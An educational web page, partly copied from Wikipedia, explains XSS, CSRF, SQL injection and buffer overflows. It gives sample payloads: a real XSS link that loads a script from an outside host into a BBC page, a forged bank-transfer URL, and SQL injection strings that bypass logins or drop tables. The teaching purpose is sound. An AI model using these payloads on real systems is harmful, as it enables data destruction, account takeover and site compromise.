XSS, SQLI and Buffer Overflow Vulnerabilities

License

Some identified sections below are copied from Wikipedia entries, so as a derived work this page is licenced under the GNU Free Documentation License, see http://en.wikipedia.org/wiki/Wikipedia:Copyrights for details.

Cross Site Scripting

A Cross Site Scripting (XSS) exploit concerns the ability of a website to run scripts within the web browser. Obviously the browser will be designed to sandbox the script, so this has restricted access to the computer running the browser. But the browser can only have low-level information to limit what the script can do, e.g. the script won't be allowed access to files on the host. So if the attack is at a higher conceptual level of abstraction - e.g. to do with what the user of the webpage thinks about the origin of the information being presented, the lower level of logic at which the browser sandboxing of website-delivered scripts occurs will not be effective.

An example of a XSS exploit



How it was done

The referring page: http://www.securitylab.ru/news/extra/272756.php contained the following HTML source code which included some Javascript. (Extra line breaks added for readability, but in reality the URL is all on one line.)

From now on the citizens of the USA can feel safe for the National 
Information Security is in the young but good hands&quot; <a href="
http://www.bbc.co.uk/bbcone/listings/index.shtml?
service_id=4223&amp;DAY=today%22%3E%3Cscript%20src=
http://www.securitylab.ru/test/sc.js%3E%3C/script%3E%3C!--
">reports</a> BBC.

Descriptions and types of XSS Exploits

CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests contains a useful description.

Type 0: local or DOM-based XSS vulnerability

This occurs where an attacker writes HTML including scripts into a context that the web browser treats as of local origin, allowing for unprivileged access to local objects - e.g. a file on the local system.

Type 1: non-persistent or reflected XSS vulnerability

This arises when an attacker (Mallory) succeeds in getting a victim (Alice) to click on a supplied URL which is then submitted to another (e.g. Bob's) website. This can occur through a URL in an email to Alice sent by Mallory, to a site owned by Bob and accepting HTML input. An example might be a URL including a script which steals Alice's cookie used to authenticate to Bob's site regularly used by Alice, which Mallory can then use to login to Bob's site using Alice's credentials .

Type 2: persistent XSS vulnerability

Here Mallory inserts the HTML including script directly into Bob's website, which allows users to include HTML, e.g. where social networking sites enable users to include an HTML profile. Alice, when looking at Mallory's profile or HTML message, will run the script in her web browser within the domain context of Bob, so Alice's system will treat Mallory's script as if it were from Bob.

Examples of Exploits

This section was copied with permission from: http://en.wikipedia.org/wiki/Cross_site_scripting on 2 Jan 07.

Attackers intending to exploit cross-site scripting vulnerabilities must approach each class of vulnerability differently. For each class, a specific attack vector is described here. (The names below come from the cast of characters commonly used in computer security.)

Type-0 attack

  1. Mallory sends a URL to Alice (via email or another mechanism) of a maliciously constructed web page.
  2. Alice clicks on the link.
  3. The malicious web page's JavaScript opens a vulnerable HTML page installed locally on Alice's computer.
  4. The vulnerable HTML page is tricked into executing JavaScript in the computer's local zone.
  5. Mallory's malicious script now may run commands with the privileges Alice holds on her own computer.

Type-1 attack

  1. Alice often visits a particular website, which is hosted by Bob. Bob's website allows Alice to log in with a username/password pair and store sensitive information, such as billing information.
  2. Mallory observes that Bob's website contains a reflected XSS vulnerability.
  3. Mallory crafts a URL to exploit the vulnerability, and sends Alice an email, making it look as if it came from Bob (ie. the email is spoofed).
  4. Alice visits the URL provided by Mallory while logged into Bob's website.
  5. The malicious script embedded in the URL executes in Alice's browser, as if it came directly from Bob's server. The script steals sensitive information (authentication credentials, billing info, etc) and sends this to Mallory's web server without Alice's knowledge.

Type-2 attack

  1. Bob hosts a web site which allows users to post messages and other content to the site for later viewing by other members.
  2. Mallory notices that Bob's website is vulnerable to a type 2 XSS attack.
  3. Mallory posts a message, controversial in nature, which may encourage many other users of the site to view it.
  4. Upon merely viewing the posted message, site users' session cookies or other credentials could be taken and sent to Mallory's webserver without their knowledge.
  5. Later, Mallory logs in as other site users and posts messages on their behalf....

Please note, the preceding examples are merely a representation of common methods of exploit and are not meant to encompass all vectors of attack.

Cross Site Request Forgery

This section was copied with permission from: http://en.wikipedia.org/wiki/Cross-site_request_forgery on 2 Jan 07.

Cross-site request forgery, also known as one click attack or session riding and abbreviated as CSRF or XSRF, is a kind of malicious exploit of websites. Although similar-sounding in name to cross-site scripting (XSS), it is a very different and almost opposite form of attack. Whereas cross-site scripting exploits the trust a user has in a website, a cross-site request forgery exploits the trust a Web site has in a user by forging a request from a trusted user. These attacks are often less popular (so there are fewer resources available), more difficult to defend against than XSS attacks, and, therefore, more dangerous.

Characteristics

The attack works by including a link or script in a page that accesses a site to which the user is known to have authenticated. For example, one user, Bob, might be browsing a chat forum where another user, Alice, has posted a message with an image that links to Bob's bank. Suppose that, as the URL for the image tag, Alice has crafted a URL that submits a withdrawal form on Bob's bank's website. If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then Bob's browser's attempt to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.

A cross-site request forgery is a confused deputy attack against a Web browser. The deputy in the bank example is Bob's Web browser which is confused into misusing Bob's authority at Alice's direction.

The following characteristics are common to CSRF:

At risk are web applications that perform actions based on input from trusted and authenticated users without requiring the user to authorize the specific action. A user that is authenticated by a cookie saved in his web browser could unknowingly send an HTTP request to a site that trusts him and thereby cause an unwanted action.

CSRF attacks using images are often made from Internet forums, where users are allowed to post images but not JavaScript.

CSRF Example URL

Here BigBank trusts Alice's cookie because Alice is already logged in. It therefore assumes that the URL that comes from Alice's web browser containing Alice's cookie is authorised to transfer a large sum from Alice's to Mallory's account. Data is freqently sent from browsers to websites as part of the URL, and many websites treat the GET data entry request identically to the FORM data entry request.

http://bigbank.com/transfer_money.cgi?from=alice&to=mallory&amount=100000.00&description=completion_ac_2157

SQL Injection

This section was copied with permission from: http://en.wikipedia.org/wiki/SQL_injection on 2 Jan 07.

SQL injection is a security vulnerability that occurs in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.

Incorrectly filtered escape characters

This form of SQL injection occurs when user input is not filtered for escape characters and is then passed into a SQL statement. This results in the potential manipulation of the statements performed on the database by the end user of the application.

The following line of code illustrates this vulnerability:

statement := "SELECT * FROM users WHERE name = '" + userName + "';"

If the "userName" variable is crafted in a specific way by a malicious user, the SQL statement may do more than the code author intended. For example, setting the "userName" variable as

a' or 't'='t

renders this SQL statement by the parent language:

SELECT * FROM users WHERE name = 'a' or 't'='t';

If this code were to be used in an authentication procedure then this example could be used to force the selection of a valid username because the evaluation of 't'='t' is always true.

Theoretically any valid SQL command may be injected via this method, including the execution of multiple statements. The following value of "userName" in the above statement would cause the deletion of the "users" table as well as the selection of all data from the "data" table:

a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '%

This input renders the final SQL statement as follows:

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '%';

Incorrect type handling

This form of SQL injection occurs when a user supplied field is not strongly typed or is not checked for type constraints. This could take place when a numeric field is to be used in a SQL statement, but the programmer makes no checks to validate that the user supplied input is numeric. For example:

statement := "SELECT * FROM data WHERE id = " + a_variable + ";"

It is clear from this statement that the author intended a_variable to be a number correlating to the "id" field. However, if it is in fact a string then the end user may manipulate the statement as they choose, thereby bypassing the need for escape characters. For example, setting a_variable to


1;DROP TABLE users

will delete the "users" table from the database as the rendered SQL would be rendered as follows:

SELECT * FROM data WHERE id = 1;DROP TABLE users;

Buffer Overflow Exploits

A buffer overflow occurs when more data is input into a program data storage area larger than the space allocated or planned for it. Everyone who has learned how to program in 'C' will have encountered buffer overflows as a common programming bug. Crackers have learned how to exploit this bug in many situations where hostile data is input to an insecure program which worked correctly in test cases previously known to the developer.

Stack Based Buffer Overflow Exploitation

Programs are vulnerable to this exploit in the situation where

  1. The function return jump address on the program stack occurs in the memory segment soon after the exploitable buffer and nothing causing program failure if overwritten occurs between
  2. The attacker can provide arbitrary input which overruns an exploitable buffer.
  3. The attacker can calculate an alternate jump address to insert in place of the return jump address, so that the alternate jump address goes to program instructions which the attacker has inserted as part of the buffer overrun. (Use of a "landing pad" area of goto next program instructions prior to the inserted exploit code for the jump inserted by the attacker allows extra flexibility.
  4. The attacker can execute inserted exploit code by this means which can, with the privileges and context of the compromised program, cause actions to occur which furthers the attackers agenda, or which result in some other system security compromise. Obviously the potential system compromise will be greater when a setuid to root program, or a program running as root is exploited in this manner than if a less privileged program is exploited.

Heap Based Buffer Overflow Exploitation

While stack exploits are more common with statically allocated memory (i.e. buffers defined in the source code and fixed at program compile time) other exploits are possible for variables whose buffers are allocated dynamically from the program heap i.e. at program runtime.

The Wikipedia Buffer Overflow article states:

A buffer overflow occurring in the heap data area is referred to as a heap overflow and is exploitable in a different manner to that of stack-based overflows. Memory on the heap is dynamically allocated by the application at run-time and typically contains program data. Exploitation is performed by corrupting this data in specific ways to cause the application to overwrite internal structures such as linked list pointers. The canonical heap overflow technique overwrites dynamic memory allocation linkage (such as malloc meta data) and uses the resulting pointer exchange to overwrite a program function pointer.

The Microsoft JPEG GDI+ vulnerability is a recent example of the danger a heap overflow can represent to a computer user.

Some Recommended Reading

Cross Site Scripting Explained (Amit Klein, Sanctum Security Group). This PDF has a very useful diagram showing the sequence of messages between the 3 parties concerned with an XSS attack.

Cross Site Scripting FAQ (cgisecurity.com). Good summary for non-technical users.

Buffer Overflow article (Wikipedia)

Smashing The Stack For Fun And Profit (Aleph One)